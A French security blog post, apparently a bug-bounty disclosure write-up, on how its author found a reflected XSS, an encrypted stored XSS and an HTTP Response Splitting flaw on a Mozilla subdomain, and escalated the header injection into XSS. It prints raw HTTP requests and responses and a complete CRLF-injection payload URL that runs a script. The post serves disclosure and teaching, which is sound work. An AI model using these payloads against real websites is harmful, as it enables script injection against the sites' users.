[Contribution] Mozilla – HTTP Response Splitting, Reflected & Stored XSS

03
avril
2017
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Bug Bounty / Contributions / Cryptologie / HRS / Opensource / Vulnérabilités, exploits et PoC   /   Un commentaire

Un sous-domaine de Mozilla.org disposait de plusieurs vulnérabilités XSS et d’une vulnérabilité de type HTTP Response Splitting.

Cet article illustre l’exploitation d’une HRS (HTTP Response Splitting) afin de l’élever en XSS réfléchie le tout au travers d’un exemple concret : Mozilla.

Présentation de la cible

Lors de la recherche de (sous)-domaines vulnérables dans le cadre d’un programme de Bug Bounty, la phase d’attaque par dictionnaire de sous-domaines peut mener à bien des trouvailles. Au delà des domaines / sous-domaines connus qui peuvent être aisément listés et découverts via les moteurs de recherche, les dorks, ou encore les outils d’OSINT tels que « the harvester« , certains sous-domaines peuvent rester cachés, non-indexés et « inconnus ».

C’est précisément le cas pour le sous-domaine victime des quelques vulnérabilités détaillées par la suite : chimein.mozilla.org. Ce domaine, qui n’était pas indexé sur les moteurs de recherche communs et qui n’était ni « cité » ni « lié » nulle part, fût découvert par un subbrute (brute-force de sous-domaines) par hasard.

Ce domaine disposait d’une apparence et d’un design qui laissait à désirer (comprendre qu’il semblait héberger une ébauche d’application web, ou encore un PoC).

Chimein.mozilla.org

Chimein.mozilla.org

Une liste d’utilisateurs inscrits ainsi qu’un formulaire d’inscription/connexion très sommaire étaient présents : sans aucune fioriture ni CSS. En renseignant un compte arbitraire afin de s’inscrire, j’ai donc pu m’enregistrer et m’authentifier sur cette application web dont je n’avais pas encore déterminé l’utilité :

  • Login : ycam
  • Password : ycam
  • Passphrase : ycam

Note : Une passphrase en plus d’un mot de passe ? Vais-je rencontrer une notion de chiffrement asymétrique et certificats après inscription et authentification ?

Une fois inscrit et authentifié, l’intérêt de cette application web s’éclaircissait : un formulaire pour envoyer des messages (chiffrés) aux autres inscrits devenait visible, ainsi que bien évidemment la liste de mes « propres » messages reçus :

Message form

Message form

L’application quant à elle fonctionnait plutôt bien : dès lors qu’on s’inscrivait, une bi-clé était générée côté serveur et chaque message envoyé d’un utilisateur à un autre était protégé par du chiffrement asymétrique exploitant ces certificats couplés à la passphrase indiquée.

Le côté « très précaire » du design et de l’apparence de l’application m’ont fait penser à un proof-of-concept de Mozilla, « oublié » sur un sous-domaine non-référencé encore au stade bêta. J’adore ce genre de cible (plutôt rares il faut l’avouer), sur lesquelles j’ai déroulé mes batteries de tests.

Quelques XSS…

Le côté très « simple » et « proof-of-concept » de l’application m’ont incité à tester d’emblée les traitements et nettoyages réalisés côté serveur des entrées utilisateurs : aucune sanitization.

Les champs étaient donc vulnérables à des vulnérabilités de type Cross-Site Scripting.

XSS réfléchie

Le champ d’authentification par exemple (login), qui était immédiatement réfléchi une fois authentifié dans le message « logged in as [login] » était vulnérable à une injection XSS standard :

Login injection

Login injection

Une fois authentifié, la réflexion était déclenchée :

Login reflection

Login reflection

Mais cette XSS (Self) n’était que peu critique…

XSS stockée chiffrée

Plus intéressant : le corps même des messages envoyés aux divers destinataires était lui aussi vulnérable. Les messages étaient chiffrés (via la bi-clé / passphrase), donc le payload XSS était par conséquent stocké chiffré par l’application.

XSS payload in body

XSS payload in body

Une fois reçu par l’utilisateur-victime, celui-ci le consultait après avoir indiqué la passphrase associée :

Passphrase

Passphrase

Et le payload, une fois déchiffré, se déclenchait…

Stored XSS fired !

Stored XSS fired !

Plus intéressant que la première (Self-)XSS, cette Stored-XSS chiffrée gagnait en criticité mais nécessitait encore des actions de la victime éventuelle (se connecter, choisir le message malicieux, indiquer la passphrase, etc.).

HTTP Response Splitting

Le HTTP Response Splitting (HRS) est une technique d’injection au niveau des en-têtes (headers) en réponse du serveur. Le principe consiste à forger / modifier les en-têtes d’une réponse serveur à partir d’une requête client contenant de données arbitraires. L’OWASP indique :

HTTP response splitting occurs when:

  • Data enters a web application through an untrusted source, most frequently an HTTP request.
  • The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header AND the underlying platform must be vulnerable to the injection of such characters. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allow them to create additional responses entirely under their control.

Détection du HRS

L’applicatif fonctionnait via une API et plusieurs entry-points. Par exemple, pour créer un nouveau message, l’entry-point « /message/create » était utilisé. Pour lister les messages reçus c’était « /message/list » et pour consulter un message particulier « /message/get » avec l’ID du message transmis en JSON-POST via une requête de type :

POST /message/get HTTP/1.1
Host: chimein.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

login=ycam&password=ycam&id=57

La réponse associée au message d’ID 57 était du type :

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 1525
Date: Fri, 21 Oct 2016 00:05:14 GMT
Connection: close

{"id":57,"sender":"ycam","recipient":"ycam","subject":"ycam","subject_signature":"C2sgosxgaKPEqJJwLb5R29A8fqX9wxA30SLqcJzKLkhEDVuAIIZesho736eDtI7GbrjpFBgc9I8E\r\n/PMRAbK6IZF9O9G+kOmy9a/mSPY9L8yiFdwk8CXzW/nvmirx3qelwQ87z3cgrxGe8um7Ntc603h2\r\nWrux3wQrv5JptqEMC1Cj+atQQQ/B6ahv9Q6K2z7wmIViR1mcZuNG9V26PwierLoNNOBDwXmChsPI\r\nKpy/0TgJhkpWj+PO3YIvxy015imeISUgmZyTmOaJAy7/OQzvw5GUAS5nTG/tU79kO7AlhQLTgjlL\r\nE3uKE2jM2ACuwtqZNeSpNTUeyGBLCxHD18vqMw==","body":"O8E+SCVlBZiL8xsg0yEg+K5+jdHKkuQA89z8FpLDekOT3CUa43B/Qw+BxyCTgccngdRp7en7Zi+M\r\nwMgDouqt8f1NGa8hxk4xP0lxN0vsR8dz1DyY2etgtGtSY8ehWDoK","body_signature":"kFLh+gNR1Ow2zuxqRebnYmiB/N2GEYWSFdLdK4dfdM2N5pKJw5eXsfu1YyKkznYEHU1c1z+YF13e\r\nzyWBWtwmSPff+6JFWIHGqYI2RR+qszbAduHwHSniFPkz0gKntc/xOe8GFX62z78pAPJfZ4tLyg8p\r\nLobVsLDjaipcRsy4tC0LWz56zjCWbACKPP9Gwi0VGng2Ny3KYoTSt+6t7GkCWf799ztY8R0WYJ8q\r\nskQAYD5LuHpdadi8+8RDdgYOaepyYPGfjuhJXXsqec9rivk84mkZSa8cAtXgrFF4bnj+F9z8KFgc\r\nvhiVAG71i65AVRbJ6pPR2CKjnnOhSkBjldNIuQ==","session_key":"a3EPAkTnptCVn9FSgmfTkpgzgjQgOGuYLFG+MmtmZjcwAPJjXePxH8/1XWWolhPn1fRmf4j9ybmo\r\nlXYOg4Fj1ss8k2HRcugxridBTkZ53dd0Af0qEHeSsiA1Rsm0d2G76k6qsWzgD55WBc6nuEXiOrzM\r\nTxVPIcT/vLbjTA0hrnzmm/tiyq31YPVOYq3Di95urw38DFJIRPKiP/cJ0GoWkUrcB6OK8lCfvx0K\r\nWsS+PpAB/c1xBUoG0TmFKZRkCXx8toykvz7cqC6hwZHbWRj4A5cLbnIrYdIXZ+2AkjhwcNzqWHQb\r\nHHm1wN6fkalHKXW7+wM2ctioB1JaE3gYE7WmGA==","session_key_iv":"zOtfAHFpmaW+hm2xcJhPxw==","status":"read","sent_date":"2016-10-20T23:05:30.009Z","retrieved_date":"2016-10-20T23:06:45.811Z","read_date":"2016-10-20T23:06:48.066Z"}

On remarque la présence de plusieurs caractéristiques cryptographiques dans cette réponse, notamment la signature, les IV, la clé, etc. Induisant que le déchiffrement était réalisé côté client.

GET message ID

GET message ID

Dès lors que l’on essayait d’injecter un ID inexistant ou mal-formaté, le serveur retournait un code d’erreur 500 avec l’ID en question réfléchi dans le message du code d’erreur :

HTTP/1.1 500 message xxx does not exist
Date: Fri, 21 Oct 2016 00:07:11 GMT
Connection: close
Content-Length: 0
ID reflection in header

ID reflection in header

De cette réflexion, on teste l’injection du traditionnel « \r\n » url-encodé, à savoir %0a%0d :

POST /message/get HTTP/1.1
Host: chimein.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

login=ycam&password=ycam&id=xxx%0a%0dyyy%0a%0dzzz%0a%0d

Réponse :

HTTP/1.1 500 message xxx
yyy
zzz
 does not exist
Date: Fri, 21 Oct 2016 00:08:40 GMT
Connection: close
Content-Length: 0
HTTP Response Splitting delected

HTTP Response Splitting delected

Bingo ! Nos en-têtes arbitraires sont bien présentes dans la réponse du serveur !

Exploitation

Via cet HRS confirmé nous permettant d’injecter et de générer des en-têtes arbitraires dans la réponse du serveur, l’idée va être de créer notre propre réponse HTML qui sera interprétée dans le navigateur (on génère notre propre XSS, en d’autres termes).

Pour réaliser cela, il nous faut plusieurs en-têtes à injecter ainsi que du contenu (l’XSS), par exemple :

  • Header Content-Type: text/html
  • Header Content-Length: [LENGTH]
  • Un double \r\n\r\n suivi du « code source » HTML/JS de notre choix
  • L’ouverture d’un commentaire HTML <!– afin de commenter tout le contenu (en-têtes et body) restant de la réponse légitime

Note : les paramètres étaient interprétés aussi bien en POST qu’en GET.

Ceci se traduisait par l’injection suivante  :

https://chimein.mozilla.org/message/get?login=ycam&password=ycam&id=x%0a%0dContent-Length: 100%0a%0dContent-Type: text/html%0a%0d%0a%0d<html><body><script>alert(document.domain)</script></body></html><!--
HRS to XSS

HRS to XSS

XSS fired ! Nous avons exploité le HTTP Response Splitting pour élever l’injection d’en-tête afin de produire une XSS. Celle-ci se déclenche dès le chargement de la page.

« Correction » et conclusion

Suite à la découverte de ces diverses vulnérabilités ciblant différents points d’entrés de l’application, deux tickets sur le BugZilla Security / Bug Bounty de Mozilla ont été ouverts :

Ce domaine, ne faisant malheureusement pas partie de ceux éligibles au bounty de Mozilla, a été détaché de l’entrée DNS « chimein.mozilla.org » et n’était donc plus rattaché au projet Mozilla dans les 24h qui ont suivi.

Quelques semaines / mois plus tard, ce PoC de messagerie sécurisée n’était plus du tout accessible (même via l’IP du serveur).

Les vulnérabilités n’ont donc pas été corrigées (ce n’était qu’un PoC après tout), le sous-domaine a tout simplement été supprimé empêchant de nouveaux accès. C’est une méthode drastique, certes, mais fonctionnelle pour corriger les vulnérabilités 🙂 !

En tout cas, j’encourage tous les chercheurs de bugs à scruter les sous-domaines non-référencés via des outils comme subbrute, afin d’explorer d’autres périmètres qui n’ont très certainement pas encore été analysés !

Je remercie chaleureusement les équipes sécurité de Mozilla pour leur amabilité, leur professionnalisme, aussi bien pour les échanges au travers des tickets que via emails.

Merci de plus pour le Hall of Fame ! 🙂

Mozilla Hall of Fame

Mozilla Hall of Fame

Sources & ressources :

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.